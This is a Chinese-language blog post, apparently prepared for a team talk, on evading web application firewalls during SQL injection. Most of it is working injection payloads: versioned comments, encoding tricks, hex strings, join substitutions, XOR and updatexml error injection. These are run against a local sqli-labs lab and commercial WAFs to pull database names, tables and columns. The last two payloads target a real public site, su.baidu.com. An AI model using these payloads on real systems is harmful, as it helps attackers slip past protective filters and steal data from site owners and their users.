对于常规渗透时waf的存在可是妨碍了我等一众小白,刚好趁着小组内部技术分享的机会自己也好好总结了下绕过的方法。
甲、绕过方法
上述的部分方法我没有写到,感兴趣的可以问问度娘。
大小写
双写
注释:
这里可以注释语句把关键词进行注释,这里注意,/* .... */ 在大部分语言中都一样是注释。这个之中的语句是不被执行的。
但MYSQL中 为了保持兼容,比如从mysqldump 导出的SQL语句能被其它数据库直接使用,它把一些特有的仅在MYSQL上的语句放在 /*! ... */ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行。
/*!50000select*/中50000是数据库版本号的意思,在版本号低于5.00.00时可以执行语句。
http://192.168.188.128:8000/sqli/Less-1/?id=-1' /*!40000union*/ select 1,2,version()--+
空格替换:
在数据包传输中,特殊字符会被url编码,在服务器处理时进行解码。这样可以在前端过滤空格的情况下在输入特定字符的url编码,以便执行期望语句。空格 tab 换行
E是科学计数法的表示,为以10为底的指数。1E0就是1*10^0
select@1,2,3
http://192.168.188.128:8000/sqli/Less-1/?id=-2' union/*!90000aaa*/select/*!90000aaa*/1,2,3/*!90000aaa*/--+
URL编码:
把关键词做url编码,绕过。
http://192.168.188.128:8000/sqli/Less-1/?id=-2' union/*!90000aaa*/%73elect/*!90000aaa*/1,2,3/*!90000aaa*/--+
引号绕过:
把引号内的关键词进行16进制转换
union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users’--+
select 1,2,group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+
关键词替换:
可以对关键词进行同义替换
http://192.168.188.128:8000/sqli/Less-1/?id=-1' || 1=1--+
/Nfrom
Post分块传输:
分块传输编码(Chunked transfer encoding)是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由应用服务器发送给客户端应用( 通常是网页浏览器)的数据可以分成多个部分。分块传输编码只在HTTP协议1.1版本(HTTP/1.1)中提供。
语句替换:
http://192.168.188.128:8000/sqli/Less-1/?id=-1'/**//*!40000union*//*!90000aaaa*//*!40000select*/* from (select 1)a join (select 2)b join (select database())c/*!90000aaaa*/--+
这样可以绕过对于user()、database()等查询语句的过滤。
异或:
union,and被完全过滤掉了
select * from test where A xor B
A真b假 查a;A假b真 查b;A真b真查a的值,这里一般来说是a的查询结果中不包含b的值,根据实际情况会不同。
一般配合fuzz字符进行测试id=1' xor .7/*!union*/
http://192.168.188.128:8000/sqli/Less-1/?id=-1' xor 0.4/*!40000union*/ select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users’--+
http://192.168.188.128:8000/sqli/Less-1/?id=1' xor .7/*!union*/ select 1,database(),group_concat(column_name) from information_schema.columns where table_name ='users’--+
乙、实战
狗
拦截http://192.168.188.128:8000/sqli/Less-1/?id=1' order by 4--+
不拦截 http://192.168.188.128:8000/sqli/Less-1/?id=1'/*!90000aaa*//*!40000order*//*!90000aa*//*!40000by*/4--+
不拦截http://192.168.188.128:8000/sqli/Less-1/?id=-1'/**//*!40000union*//*!90000aaaa*//*!40000select*/1,2,3--+
看下数据库名称:
拦截 http://192.168.188.128:8000/sqli/Less-1/?id=-1'/**//*!40000union*//*!90000aaaa*//*!40000select*/1,2,database()--+
这时候尝试可以得知拦截了database()关键词,使用语句替换查询语句
不拦截 http://192.168.188.128:8000/sqli/Less-1/?id=-1'/**//*!40000union*//*!90000aaaa*//*!40000select*/* from (select 1)a join (select 2)b join (select database())c/*!90000aaaa*/--+
接下来我们查询下数据库下表内容:
不拦截 http://192.168.188.128:8000/sqli/Less-1/?id=-1'/**//*!40000union*//*!90000aaaa*//*!40000select*/1,2,group_concat(table_name)/*!90000aaaa*/from/*!90000aaaa*/information_schema.tables/*!90000aaaa*/where/*!90000aaaa*/table_schema='security'/*!90000aaaa*/--+
锁
拦截 http://192.168.188.128:8000/sqli/Less-6/?id=2"%20updatexml/*!*/(1,concat(0x7e,(/*!select*//*!user*/()),0x7e),1)--+
这种情况会被拦截,提示不能使用updatabase语句,在前面尝试加字符进行fuzz测试。这里用收藏的fuzz字典直接跑。
不拦截 http://192.168.188.128:8000/sqli/Less-6/?id=2"%20--updatexml/*!*/(1,concat(0x7e,(/*!select*//*!user*/()),0x7e),1)--+
fuzz
不拦截 http://192.168.188.128:8000/sqli/Less-1/?id=-1'/**/"--"/*!union*//*!select@1*/,2,database/**/()--+
百度云
https://su.baidu.com/home/agency-api-doc?id=1&& .4extractvalue(1,concat(0x7e,(database())))--+
https://su.baidu.com/home/agency-api-doc?id=-1' || .4union--%0a--%0aselect1,2,3--+